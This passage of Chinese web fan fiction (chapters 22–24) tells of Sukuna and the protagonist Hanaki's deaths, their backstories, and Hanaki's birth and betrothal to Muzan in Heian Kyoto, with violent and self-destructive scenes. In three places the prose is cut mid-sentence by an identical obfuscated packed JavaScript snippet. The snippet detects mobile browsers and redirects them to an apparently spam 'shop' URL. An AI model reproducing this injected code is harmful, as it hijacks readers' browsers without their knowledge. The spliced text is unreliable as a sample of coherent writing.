心口绽放血花的黑发美人宛若被血浇灌的那朵冰玫瑰,红得艳丽,美得惊人。如同贵族们追求的物哀之美,让人不由叹息美好事物即将消散的瞬间。 与此同时,两面宿傩的束缚也被解开。 原本经过多场激战的身体早已疲惫不堪,两面宿傩却爆发了前所未有的速度冲到花纪身边,试图用反转术式修复伤口。然而花纪的身体如同永远无法填满的湖泊,流经的反转术式正极能量只是杯水车薪,不能彻底治愈。 濒死的花纪却有心情勾起染血的唇角,笑着问道:“你是来吃我的吗?” 然而这句话一下子点燃了两面宿傩积压的暴怒,“闭嘴!” 两面宿傩从未如此失控,可花纪流淌的鲜血红得吓人,被闪光构成的箭矢贯穿的心脏怎么也修复不好。 “这种时候还说什么蠢话?你给我听好了,我不稀罕你的肉,你给我活下来,再来承受我的报复。” “没用的。”花纪看着两面宿傩无用的挣扎,“灵核已经被破坏了,反转术式也没用。” 灵基的灵核一旦破碎,再优秀的治愈术式也就没有了用处。 两面宿傩压抑情绪问道:“……你到底在想什么?” 恢复原本颜色的紫眸朦胧地看着两面宿傩,似乎有无形的雾气挡在两人的中间,过了一会,花纪倏地笑了,轻声道:“当然是摆脱你、摆脱我讨厌的家伙们了。” 两面宿傩搂着花纪的手臂一紧,花纪无视了这股疼痛,沉浸在昔日的记忆中。 “总要束缚我的自由,罔顾我的意愿。” 父亲不允许少年远离家族的庭院,也就是父亲一手打造的魔术工坊,并告诉少年这是为了保护他。 少年相信了。 直到父亲死去的那一天之前,少年都没有违抗过父亲。 可花纪知道,这只是在欺骗少年,真相是父亲将少年当成完成魔术的工具罢了。魔术师的目的无非只有一个,就是抵达根源。为此哪怕是子女,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663871|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是更好用的材料。 温情都是伪装出的假面,借此让少年配合魔术实验。 “宿傩,我不想和你纠缠下去了。” 这样太没意思了,哪怕两面宿傩的情绪是难得一遇的美味。 “……你那些,全都是骗我的吗?” 两面宿傩的声音如同暴风雨前的平静,禁锢花纪的力道已经无法控制了。 “不,至少我自认为那些不算说谎。” 花纪也不管两面宿傩信不信,摸上了两面宿傩的侧脸,指尖描摹他的轮廓。 “如果你不来试图救我,说不定我会反悔,把刚刚的这招再用在你的身上。” 两面宿傩的痛苦、挣扎、愤怒……这一切的负面情绪,花纪全都感受到了。 “毕竟我那么喜欢你,如果要死,肯定也想把你一块带走吧?” 明明心脏残缺,花纪却感受到了令人眷恋的充实。 “本来是觉得摆脱不了你,不想和你继续待下去才这样做,虽然有些痛,但现在看来还挺值的。” 品味到两面宿傩此时的情绪,花纪觉得那些痛苦没有白受。 花纪是个内里空空如也的怪物,只有靠这些情绪才能填补心中的空缺。 “……你只是想折磨我。” 两面宿傩目光沉沉,“知道无法轻易打败我,又不愿意继续和我浪费时间,才故意这么做。” 他救不了花纪。 “你其实并不是讨厌我。” 两面宿傩道出事实:“你只是平等地讨厌所有人,但又喜欢他们沉迷欲望的丑态,借此取悦自己。” 他只是因为同为人类,被花纪不自知地迁怒了。 他,两面宿傩,被人畏惧的诅咒之王,竟然在这种时候被当成了人类。 “如果我不是人类,你能真正爱上我吗?花纪。” 两面宿傩等了片刻,果然没有等到花纪的回答。 “啧。” 两面宿傩顺手割破了自己的颈动脉,血液汩汩流出,他也没用反转术式,而是任由血液流淌。 “定下束缚吧,花纪,要在未来的某一天相遇。” 花纪微微睁大了眼睛,“你要为我去死吗?” 黑发美人扬起天鹅般纤美的脖颈,止不住喜爱地亲吻两面宿傩的唇角。 “我好高兴,宿傩。” 魔性的美貌这一刻在黑发美人身上得到了极致的体现,每一处都无可挑剔,如同神明精心的造物,让见者陷入爱情的漩涡。 “我感受到你的爱了,宿傩。” “……这不是明摆着的吗?” 两面宿傩垂眸,目不转睛地盯着花纪。 引诱人走向毁灭的怪物,虽然轻易就能获得他人的爱情,却只有在对方自愿献上一切、尤其是生命的时候,才能真正确认这份真心——或者说才愿意相信这份真心。 五条律那个男人也算是求仁得仁,意外的实现了心愿。 只有肯为花纪去死,才能被另眼相待。 花纪眉眼缠绵,“遇见我你后悔吗?” 两面宿傩不屑地哼了一声,“再来一次我也不后悔。” “那就定下束缚,以后再见吧,宿傩。” 花纪声音轻柔:“我确实讨厌人类,不过至少现在,我没有那么讨厌你了。” 父亲死后,离开家里来到外面的少年只有一个心愿——见识这个美丽的世界。 少年的愿望连同生命一同化为灰烬了。 后来取代少年的,只是拥有相同外表、内里却截然相反的某个存在罢了。 少年拥有纯洁的灵魂,而从少年灰烬上诞生、继承了相同姓名的怪物,从一开始就是疯狂而扭曲的。 22.第 22 章 01. 自出生起,两面宿傩就清楚自己是与众不同的存在——即他人口中的“怪物”。 异样的眼神,窃窃的私语,厌恶的躲避,都佐证了这一点。 无非就是因为他与常人大相径庭的身体,不过后来他不在乎了。既然蝼蚁发出了噪音,那么把他们碾碎即可。 直到某一天,他遇到了与他截然相反的“同类”。 对方拥有究极的美,以至于被怀疑不是人类而是自高天原降临到污浊凡世的神明。 不过对方既不是人类,也不是咒灵或者妖怪,更不是神明,两面宿傩无比肯定这一点。 花纪是比那些都要疯狂的存在。 娇艳的唇瓣反复向他诉说着——〖我爱你〗。 美丽的紫眸总是柔情地望着他,这是他从母亲那都未曾得到过的纯粹的爱。 可他很快就发现了,花纪眸中的爱意如同白茫茫的浓雾,看似缱绻,实则伸手无法抓住任何事物,只能触及到冰凉的水汽。时间久了,就会迷失在这场雾中,更无法看清雾中究竟有什么。 两面宿傩却不打算认输。 不过后来他就知道了,这就是毁灭的起点,也预告着最终的结局。 〖我爱你。〗 〖我喜欢你。〗 分明是厚重的词汇,但从花纪的口中,却难以感受到真实的重量。不过这并不妨碍总有傻瓜会被骗到,跳入由爱意编织的蛛网。 后来两面宿傩明白了。 那些话的含义,分明是——〖我们一起下地狱吧〗。 那张美艳的脸庞,在不知不觉间笼罩了来自地狱的烈火。跳跃的火光扭曲了眉眼中的柔情,让他一时之间竟然看不清了。 黑发美人在笑,是在对着他笑,还是因为看到他一步步走向毁灭而笑呢? ……心脏被掌控的感觉,原来这么煎熬,比战斗时心脏被人破坏还要疼痛难忍。 原来他拥有一颗人类的心。 可他又不甘心,甚至感到了愤怒。 被人蹂躏着心,始作俑者却如此从容,观赏他在蛛网中挣扎又无法摆脱束缚的狼狈模样,以此为乐,让他如何能平衡? 他要拖他一起下水。 于是他不厌其烦地讨好花纪,要将自己手铐的另一端紧紧铐在花纪手上。 两面宿傩很快就摸清了花纪的喜好。 花纪能品尝人类的食物,但不吃也不会饥饿。无论吃多少似乎都能吃下去,吃再多也不会影响优美的体态。 比起人类,花纪更喜欢那些不会说人话的小动物——咒灵和妖怪也是其中之一,哪怕它们长得奇形怪状,根本不配和花纪站在一块。 书籍和咒具总能更讨得花纪的欢心,比那些华而不实的珍珠宝石、锦衣绸缎有用多了。 ……但这些的用处都不大。 两面宿傩烦躁极了,他依旧得不到他想要的结果。 ……既然普通的讨好没有用,那他就选择最朴实的那条道路,那样做总归没错。 〖我们一起下地狱吧〗。 既然以他的负面情绪为乐,那他就让花纪好好看看吧。 ——看着他怎么一步步走向地狱。 只有这种时候,黑发美人朦胧的爱意才会有那么一刻清明,美眸迸发出真正的喜悦。 笼罩的浓雾终于散去,两面宿傩捕捉到了明亮的月色——美丽,但也危险。 那是血色的月亮,好似人的眼睛流下了血泪,又被灼热的烈火燃尽,到最后也就只剩下了火红的颜色。 两面宿傩意识到了,他迟早会因为这危险的月色而迷失。 但这月色太美,他总想要多看几次。 他想要看花纪真正的笑容。 反正他不害怕死亡,也不畏惧地狱,就算毁灭也无所谓——只要他能多看到几次就好。 02. 五条律从懂事起,就看到了自己未来的结局。 他要成为合格的五条家家主,肩负责任,带领家族走向辉煌。 不要辜负家族的养育之恩,不要让家族的荣耀蒙尘。 五条律听到了太多的不要。 他像一棵被修剪的树木,剪去不必要的枝桠,打理成别人想看到的模样。 于是他成为了模板中的五条家家主。 他有那个力量打破一切,但打破了又能得到什么呢?左右没有他真正想做的事。 人生若是缺乏了理想,就失去了前进的道标。 而五条律也无路可去。 后来,他在某个瞬间一见钟情了。 爱情的滋味,让他生平第一次强烈的想要去做某件事。 他也被一见钟情的对象识破了心中的空虚。 〖不用想这么多。〗 花纪在梦中对他说道。 〖如果不知道该去哪儿,就让我指引你前进吧——这样一来,人生就不会那么枯燥了吧,探索未知的道路可是很有趣的。〗 乏善可陈、平淡无奇的人生,终于被注入了新鲜的乐趣。 五条律不再只是五条家家主这一个身份,还有了新的标签——一个单纯的追求者。 他要追求那黑色的太阳,哪怕照亮了他的人生,也让他一头扎进了黑暗。 只因他的心脏从未如此强劲的鼓动。 在梦中,五条律接下了花纪的最后一个要求。 〖帮我阻止宿傩吧。〗 “阻止”成了一个微妙的词汇,要如何阻止呢? 五条律思考了良久。 他本来打算杀掉两面宿傩,哪怕他尽力也未必能做到,但下定决心总是不一样的。 高端战局的胜败总会由一念之差决定。 但徘徊不去的,总是黑发美人捉摸不定的笑容。 花纪是他心灵的主人。 他认为诅咒之王同样如此,只是诅咒之王不愿意如他一般坦然承认罢了。 六眼捕捉到的信息量,足够让他筛选出有用的情报。再加上梦中每一分一秒的相会都令他无比贪恋,他比诅咒之王先一步领悟了心上人的本质——为人们带来毁灭的灾厄。 原来如此,五条律明白了花纪的话语后的深意。 无论他打不打算拼死杀掉诅咒之王都没关系。 无论诅咒之王死亡,还是他死亡,总归是一样的,总会有一个人走向破灭。 如果他的死亡,能为花纪带来片刻的愉悦也不错。 在他死亡的那一刻,花纪也就真正能看到他了吧。 这样就足够了。 因为比死亡更难以忍受的,是心爱之人的漠视。 注定无法得到回报的爱,在他爱上对方的那一刻就已经预测到了。 ——那道美丽的身影,眼中已经无法容纳下其他人了。 03. 重逢的束缚,被正视的心意,以及些许的回报——两面宿傩终于得到了这些。 可他并没有想象中那么高兴——因为花纪死了。 没有留下尸体,一切化为金色的粒子,如同落入人间的星河,璀璨而闪耀,美丽而出尘。 但两面宿傩伸出手,却什么也没抓住。他的手穿过了星光,触碰不到任何实体,只能徒劳的蜷缩手指,眼睁睁看着星沙淡去,粒子渐渐消散,留下空落落的掌心。 一切都消失不见了。 他见不到花纪了,就连尸体他也留不下。 ……原来那个时候,花纪早就开始骗他了。 用甜言蜜语哄人的骗子。 他该恨这个骗子,花纪不仅是个骗子,还是个偷心贼。 花纪让他吃掉自己,不过是愚弄他的把戏罢了。 他如果活生生吃掉花纪,这辈子就再也无法忍受其他的食物了——比起花纪的血肉,那些连粗茶淡饭也比不上。 花纪想看的,不过是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687685|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在饥饿中挣扎的痛苦样子。哪怕无数食物摆在他面前,他却已经吃不下去任何东西了。 如果他在杀死花纪后,再打算吃掉花纪,也会面临另一个结局——那就是花纪根本不会留下尸体,他什么也吃不到,只能吃到一嘴的空气。 花纪想看到他无能狂怒、懊悔不已。 总归是想看到他的痛苦,这个时候花纪就想斩断他们之间的羁绊了。 他决不允许这份羁绊被从中剪断。 〖未来的某一天,我们会再次相遇。〗 束缚已经定下。 花纪别想轻易摆脱他。 挖出了无数人心脏的手,这次挖的是两面宿傩自己的心脏。 血淋淋的心脏握在手中,两面宿傩却懒得去看。 不去使用反转术式的结果,毫无疑问是死亡。 但唯有死亡,才能迎来两人的重逢。 只是暂时的别离罢了,两面宿傩等得起,也有这个耐心。 死亡不断逼近,两面宿傩曾经也体会过,却是第一次体会主动寻死的感觉,很新奇。 也就是这个时候,两面宿傩忽然领悟了五条律临死时的微笑。 ……啧,真不爽,竟然被人抢先了一步。 04. 花纪大人喜好看书。 虽然这么说,里梅也不是没怀疑过花纪大人是因为无处可去,才不得不喜欢看书。 只是那天花纪大人的表情有些异样。虽然手上拿着书,但并不像看书入迷的样子,反而视线没有落点,思绪不知道飘向了哪里。 里梅记下了书名,私下找来了同一部书,细细翻阅。 没什么复杂的原因,只是花纪大人的每个举动都值得关注,仅此而已。 这是个贵族前世救了一只狐狸,贵族转世后,狐狸也修得了人形前来报恩的爱情故事。 不过令里梅奇怪的,是花纪没有再看这本书,但总放在一边。 “花纪大人,这本书是写的不好吗?” 里梅觉得这本书中规中矩,但出于莫名的渴求,他总是想更了解花纪一点。 “我只是在想,究竟什么算得上是转世呢?转世之后又能不能算是同一个人呢?” 花纪露出了里梅看不懂的表情。 “记忆、性格、肉|体、灵魂?哪些是评判的依据呢?” 嘴上说的好像很感兴趣,但花纪很快就失去了交流的欲望。 “——算了,就当我在胡思乱想吧,里梅。” “毕竟我可能早就疯了。” 只有疯子才会怀着不切实际的渴望。 〖陪我一起下地狱吧。〗 美艳的外表下,埋藏着一颗早就疯狂的心。 爱他们如爱世间珍稀的武器,看着他们死去如同注视着心爱武器的折断——曾有人对花纪说过这样的话。 花纪不以为意,他当时是这么回答的——那又如何呢? 于是那个人在花纪爱怜的目光下也疯了。 人类总是会幻想不切实际的事物,向他索要他自己都给不出来的东西。 只要得不到就会无缘无故的发疯,人类真是一种令人费解的生物,花纪不禁为此困扰。 〖我爱你。〗 这种话说多少遍也没关系,花纪有这个耐心,一遍又一遍向看不清面孔的情人诉说着同样的爱意。 〖我爱你。〗 ——是真的爱,花纪从来不会在这方面撒谎,毕竟爱情最重要的是坦诚。 但是那些爱上他的人,无一例外不是疯的疯,死的死。 因爱生恨,因恨生怨。 在这之中,只有少数的聪明人,虽然也没有例外的结果。 不过这些过去的经历,从来不会影响花纪对下一个人说同样的话。 〖我爱你。〗 爱爱爱爱爱爱爱………… 爱是美丽又丑陋的怪物。 23.第 23 章 大江慎吾来回踱步,视线焦急地望向妻子正在分娩的屋舍,眉心的褶皱久久不退。 他年近四十,在这个平均寿命不高的时代里,已经接近高龄,然而膝下并无子女,心中自然万分焦虑。为此他不惜瞒着妻子偷偷养了外室,却依旧一无所出。 幸得天照大神垂怜,妻子终于怀孕,大江慎吾大喜过望,连带着伺候的侍女都赏赐了不少钱财,希望她们能精心照顾妻子,为他生下一个健康的孩子。 如今妻子临近分娩,不过半日时间,大江慎吾就已经将焦虑烙印在了已有皱纹的脸上。这说不定是他唯一一个孩子,如果不幸夭折,他就要后继无人了。 伺候妻子的侍女从屋中出来,大江慎吾心中一紧,看清侍女一脸喜色后,他被掐住的呼吸才终于放松。顾不得侍女禀告,就急匆匆奔入屋内。 侍女紧随其后,“主人,夫人平安诞下一子,孩子无恙,相貌十分出众。” 说到相貌时,侍女忍不住加重了语气。 大江慎吾喜不自胜,“好,让夫人先休息,我去看看孩子。” 岳母正在抱着孩子,见大江慎吾急于瞧一眼孩子的模样,立刻抱着孩子给他看,语气里满是说不出的赞叹,“您瞧,我从未见过长相如此漂亮的孩子,想必是神明赐福,才给了公子如此惹人喜爱的模样。” 大江慎吾瞥见孩子的脸,久久无法回神,愣愣道:“是啊……” 刚出生的婴儿由于长期浸泡于羊水中,往往呈现暗红色且皱巴巴的样子,睁不开眼睛。可这孩子不一样,从头到尾都宛如异类。要大江慎吾来形容,好看得简直不像人类。 尚未完全长开的精致五官已经可以窥见日后的美貌,肌肤柔嫩白润,体态可爱,仿若宫中技巧高超的工匠用白玉雕琢出的孩子。 恢复些体力的夫人勉强隔着屏风搭话,询问大江慎吾打算给孩子起什么名字。 大江慎吾对孩子降生的期待非同寻常,在孩子出生之前,就想过各式各样的名字。如果是男孩,就该叫—— “……花纪。” 仿佛有股无形的魔力注入大江慎吾的体内,这股魔力摆弄他的思维,将他当成提线木偶操控,他的发声器官不自觉如此说道。 没有在前面添加姓氏,连大江慎吾也不清楚缘由,或许是没有必要。他将多余的思绪甩在脑后,杂念悄声无息的消失了。 但这孩子实在太过美丽,美得毋庸置疑,但凡见者便会笃定这就是最牢不可破的真相。 直到眼睛由于干涩而疼痛,大江慎吾才注意到自己忘记了眨眼,一直出神地凝视着孩子。 原本心中早就枯萎发黄、等待风化的杂草,如今不受控制地获得生命力并疯狂增殖,几近吞没大江慎吾的全部心智。 由于能力不佳,家道没落,他已经多年未曾升职,官阶停留在从六位。近期更是由于公务出了岔子,降职到正七位下的治部少丞了。 同僚在暗地里窃窃私语,看不起他长相平庸,能力一般,虽然出身大江家,却是家族最不起眼的分支,不断走下坡路。由于祖父得罪了家族,闹到断绝往来,如今与主支关系疏远,得不到多少帮衬。同僚可谓人尽皆知这点,不断将棘手又得罪人的苦差事推诿给他。 大江慎吾早就心怀怨怼,恨家族无情,同僚欺辱,让他仕途不顺,钱财上处处捉襟见肘,娶的妻子也出身低下。 如今他得了这么一个孩子,只要好好利用,迟早能让他发达,将那些看不起他的人踩在脚下。大江慎吾毫不怀疑这一点,只要看见这个孩子,就知道身为父亲的他,可谓抓住了未来的荣华富贵。 “岳母,今天我幸得一女,之后会请同僚亲友前来庆贺。” 大江慎吾的岳母也就是夫人的母亲,由于接生经验老道,亲自照料女儿生产。她大为震惊,“可孩子分明是男孩。” “母亲大人,您看花纪的外貌,就知道他未来必定不俗。如果扮作女孩,迟早能嫁入源氏之流的世家大族,后半生衣食无忧。若是男孩,恐怕难以如愿。” 大江慎吾放缓语气,“您也知道我的情况,而且比起男孩上娶,女孩上嫁总是更容易,希望您能对今天的事守口如瓶。” 侍女是夫人心腹,产婆是夫人的母亲,知道这件事的只有他们几人。只要守住秘密,就不会让外人知晓。 大江慎吾坚信,只要花纪容貌长开,别说是嫁入源氏,成为天皇的女御也未必不可。这样一来,身为花纪的父亲,他也能从中攫取好处。 至于性别的事情暴露?大江慎吾对此早就心中有数。 他不相信会有人在这种美色面前能坚守心智而不迷失,男人总是迷恋美色,这再正常不过。 而且平安京贵族之间喜好男风,也不算少见。就算未来女婿知道花纪的真实性别,大江慎吾相信这也不成问题。 就算花纪不能生育孩子也没关系,男人三妻四妾很正常。女婿完全可以和其他女人生育后代,不会影响家族血脉传承。 大江慎吾也另有盘算,他既然能有第一个孩子,就能有第二个孩子,这说明他的生育能力正常,只是和他在一起的女人不争气。 退一万步说,就算未来子嗣无望,比起这点,大江慎吾只要回忆起同僚的冷眼嘲讽,上司的大加斥责,他更恨这些人。 身为家里的男主人,就算其他人有意见,只要大江慎吾敲定这件事,就没有人能阻止他。 于是在这一天,大江慎吾喜得一女的消息传出来了。 * 时间的流逝落在孩童身上,意味着幼小的生命茁壮成长,往往带着明快的色彩。 花纪漫不经心地摆弄着手上的针线,纤细的手指稳稳捻着银针,灵活地来回穿梭,如同蝴蝶在花丛中飞舞般赏心悦目。 比起贵女们学习刺绣时在绢布上用各种针法绣出不同的图样,花纪的学习别出一格。 大江友惠一进来看到花纪手上缝纫的东西,立即吓得尖叫一声,连忙加快步伐,顾不得仪态走到花纪身边。 “花纪,千万别摆弄这种东西!” 大江友惠赫然一看,自己的孩子竟然在缝纫一个恐怖至极的娃娃! 人偶一般的娃娃,却有着四只手臂,脸部也缝着四枚玉瞳,大江友惠不敢置信这竟然是眼睛。还有娃娃狰狞的半张脸,如同丑陋的面具,让一张脸呈现出了两面的模样。 无论布料多么奢华,针法多么高超,也无法改变这娃娃仿若鬼神的模样。 大江友惠联想到了传说中的鬼神两面宿傩,一时脸色苍白,魂不附体。 平安京素来有各种迷信,将一个可怖鬼神的娃娃放在自己的房间,大江友惠只要想想就毛骨悚然,更别提这娃娃还是自己的孩子绣的。 万一真招来了鬼神怎么办? 大江友惠不敢再想,“花纪,赶紧把这娃娃烧了,以后不准再绣!” “母亲,没必要这么生气吧。” 花纪慢条斯理,放下手中针线,以不容置疑的态度将娃娃抱在怀里。如果不是这娃娃的样貌畸形奇怪,这一幕像极了女孩紧紧搂着喜爱的玩偶的温馨场景。 花纪的手艺实在灵巧,哪怕工具有限,依旧缝得像模像样,十分传神。大江友惠只要多看几眼这娃娃,心脏就怦怦狂跳,为了转换心情,她赶紧将视线转移到花纪身上。 身着樱花纹粉色和服的十六岁少年有着乌黑绸缎般的长发,容貌秾丽,少年眼尾只要微微上扬,就给人在多情微笑的感觉。 美得近乎神迹,让人难以相信这是会出现在污浊凡世的美丽,哪怕有幸看到一眼,都是此生无上的幸运。 “以前两面宿傩也被当作新尝祭祭祀的神明对待,不管怎样,他的身份经过天皇的承认。” 换句话说,两面宿傩好歹有个正式的名分,和那些普通鬼神还是有区别的。 “我缝个娃娃也没关系吧?” 大江友惠愣在原地,心爱的孩子一双紫眸定定地望着她,她觉得那些负面的情绪连同自己的思维也一起陷落在这双比世上任何一个人还要美丽的眼睛之中。 “而且这是我的东西。”花纪吐字清晰,声音轻柔,最后轻轻唤道,“母亲。” 这个称呼仿佛雨中骤然亮起的落雷,大江友惠从神志恍惚的状态中惊醒。 “花纪,我可爱的孩子,你知道,母亲只是为了你的安全着想。” 大江友惠连忙为自己辩解,眼睛从未在心爱的孩子身上离开,“好不容易和橘氏的公子定下了婚事,千万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691773|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能传出有损你名声的事。” “不会传出去的,母亲应该放心才是,难道还不相信我吗?” 大江友惠迟疑。确实,不管怎样,花纪从小聪慧,不会做出不利于自己的事。 ……既然如此,孩子想玩些娃娃应该也没什么,只要不传出去就好。 最重要的是,她不想被花纪讨厌。 只要想想花纪投向自己时不快的视线,大江友惠就觉得身为母亲的心都要碎了。 她最爱的孩子,比什么都重要的孩子,愿意为之奉献一切的孩子……最重要、最重要的孩子,啊…… 大江友惠终于想起正事,对花纪叮嘱道。 “花纪,秋叶夫人希望你能搬到橘氏附近,离无惨公子更近一些,这样有利于你们培养感情。” 大江友惠声音不由得小心翼翼,担心花纪会因为要搬家而不高兴。 “我没关系,母亲。” 紫眸微微弯起,花纪语气竟有些期待,“我也想和他好好相处呢。” 毕竟这个未婚夫实在难得一见,花纪想了想该如何形容,在心中愉快地默默补充。 是值得细细品味的「食物」呢。 和宿傩不一样,鬼舞辻无惨的情绪吃起来有股青梅的酸涩,酸的很有层次感且恰到好处,不会让人难以忍受,却又能微妙体会到些许薄荷的冰凉与辛辣感。 花纪语带笑意,慢慢道:“毕竟他是我的未婚夫啊。” 不知怎的,大江友惠眼前出现了错乱。 分明处在室内,姿容昳丽的少年搂着玩偶低语。可大江友惠却好像看到了弓弦拉到极致,箭矢破空而出正中靶心的画面。 少年是那无往不利的箭矢,而那素未谋面的未婚夫则是即将被洞穿的靶心。 大江友惠眨了眨眼,丈夫确实一直是对的。 没有花纪无法击中的目标,对方不可能从花纪手上逃脱。 她的孩子从出生时就与众不同,拥有魔性的魅力,正如那魔性之貌。 ……这真的是她的孩子吗? 大江友惠下意识摸了摸小腹,思维变得迟钝。 ……她怀孕过吗? 一闪而过的想法,真的只是一闪而过,又轻飘飘的消散了。 没错,她有一个孩子,这个孩子就是花纪。 * 如今花纪的订婚对象,也就是未婚夫,年龄十七,是橘氏一族家主正室秋叶夫人唯一的孩子,秋叶夫人更是天皇后裔,身为公主之女嫁到橘氏。虽然橘氏家主还有其他庶出的儿子,但他膝下到底子嗣不多,这唯一的嫡子依旧身份贵重。 但由于生来体弱多病,父母为保孩子平安长大,便取名为鬼舞辻无惨。 虽然攀上了橘氏,有了这么个女婿,大江友惠依旧因此埋怨过丈夫。 平安京谁不知道鬼舞辻无惨生性残暴,体弱多病,医生说他活不过二十岁。就算出身再高贵,依旧是个命不久矣的病秧子。 但大江慎吾另有打算。 病秧子正好,说不定等不到成婚,鬼舞辻无惨就先去世了。这样一来,他们还有机会攀上其他权贵。 就算成婚之后,鬼舞辻无惨再去世也没关系。反正又不是不能再婚,多死几个丈夫或者未婚夫,花纪多结几次婚,他这个父亲也就可以多当几次岳父,他们家也就彻底发达了。 说不定花纪结着结着婚,就有机会见到天皇,成为天皇的妃子,他也就能顺理成章成为天皇的岳父了,没有比这更高贵的身份了。 大江慎吾算盘打的啪啪响,自己的孩子有多美貌,他再清楚不过。只是缺少机会,一个能让更多人见到花纪的机会。毕竟这年头,想要见出身高贵的人也得有门路才行。 鬼舞辻无惨身为橘氏嫡子,在大江慎吾眼中,也只不过是一个跳板而已。 这些年来,大江慎吾一心一意将花纪养到十多岁,确认不会暴露性别后,便试图找各种机会找个有权势的女婿,如今也终于成功了。 橘氏送来不少钱财,大江慎吾的地位也跟着水涨船高,眼见未来就要一帆风顺,多年夙愿终于成真。 当然,这些大江慎吾半点都没有对妻子提及。只是不耐烦地让妻子照顾好花纪,婚事的事不用她操心。 24.第 24 章 橘氏身为平安京最显赫的家族之一,财富自然不在话下。一进入橘氏府邸,大江友惠就被橘氏的繁华迷住了眼。 “母亲对橘氏可还算满意?” 大江友惠回过神来,不知怎的,面对自己的孩子,她在喜爱的同时,却很难生出真正的亲近。 他们家原本称得上清贫,但在花纪出生后,一切都改变了。这孩子仿佛天生自带财运,总能轻易获得珍稀的黄金玉石。如此一来,家中境况便大大改善。 她和丈夫也因此从不吝惜在花纪身上的花费,期望有朝一日能索求更大的回报。 “自然满意,花纪,你要好好——” 大江友惠瞧见花纪色泽鲜艳的眼眸,无端地联想到草丛中蜿蜒爬行的色彩斑斓的毒蛇,怎么也无法把“你要好好侍奉橘氏公子”的后半句话说出口。 “我明白母亲的牵挂。” 花纪放缓语调,“那我去见橘氏公子,母亲先去拜见秋叶夫人。” 用橘氏公子称呼鬼舞辻无惨其实并不妥当,说到底他并不姓橘氏,而是为保平安改用了鬼舞辻这个姓氏。但在平安京,姓氏便代表着出身尊贵与否,鬼舞辻无惨也确实是橘氏家主的嫡子,因此这个不伦不类的称呼到底保留下来了。 大江友惠张口欲言,他们前来橘氏,理应先去拜见橘氏家主的正室秋叶夫人。可花纪对此兴致缺缺,宁肯先去见那个未婚夫。 “……花纪,那你注意言行。” 大江友惠到底由着花纪去了。 * 听到和室内又响起陶瓷摔碎的声音,侍女紧攥托盘的指节发白,战战兢兢,一时不敢进入屋内。 实在是鬼舞辻无惨脾性恶劣,生性残忍,偏偏出身高贵,深得父母宠爱。就算打杀了他们这些仆人,左右不过是换一批新人,根本不会有人为他们做主。 今天原本是鬼舞辻无惨的未婚妻搬到橘氏宅邸一同居住的日子,仆从们还以为无惨公子的心情多少能好点,谁成想并非如此,他的心情反而更加恶劣。 “为什么还不进来?” 鬼舞辻无惨一眼就看见隔着窗户的人影,声音冰冷,无论音色多么好听,在侍女耳中都如同蛇信扫过后颈般阴冷,让她身体猛地一颤,连忙低头将煎好的汤药送到鬼舞辻无惨面前。 见鬼舞辻无惨没有将汤药泼到她身上,侍女松了口气。 然而她放心得太早,下一刻鬼舞辻无惨就将喝空的碗碟用力摔在她身上,瓷器的碎片如同迸溅的水花洒落一地。好在鬼舞辻无惨常年身体病弱,力气不大,侍女才没有受伤。 侍女忍住尖叫的冲动,不停地向鬼舞辻无惨道歉,并收拾着地上的碎片,哪怕手指被割伤也不敢停下,生怕时间拖得久了,鬼舞辻无惨又将心中的怒火发泄在她的身上。 花纪进来时见到的就是这样一幅画面。 青年容貌俊美,面色苍白如纸,梅红色的眼睛来不及收回眼中的阴鸷,便猝不及防地瞥见了意料之外的人。因为刚刚的剧烈动作,他喉咙里是止不住的咳意,面颊都染上了淡淡的红潮。 连那副狠厉的模样经过这样一番对比,都显得脆弱又可怜了。 面对这个第一次见面的未婚夫,花纪眼中的笑意都真实了几分,径直走向了鬼舞辻无惨,柔和地问道:“身体很难受吗?需要让人请医生吗?” 不等鬼舞辻无惨回答,花纪就轻抚着他的后背顺气,亲昵的样子仿佛这不是他们第一次见面,而是相处已久的未婚夫妻。 侍女不知所措地站在一边,不知道该不该上前。今天无惨公子的未婚妻会来,莫非这就是本人? “无惨,你现在的脸色很差。” 侍女闻言,不由得惊慌起来。无惨少爷最讨厌这类话题,平时听到就会大发脾气,认为这么说的人都是想咒他早死。 鬼舞辻无惨好不容易捋顺了气,就听到了他最讳莫如深的话题,原本压下的痒意,不禁又一次在喉咙中肆虐。 花纪见状,便开口吩咐侍女去叫医生过来。 侍女想到与其在这面对鬼舞辻无惨的怒火,还不如做点符合职责的事免得被迁怒,于是立刻低头应下,匆匆跑向外面。 “……你是想让你的未婚夫早点去死吗?” 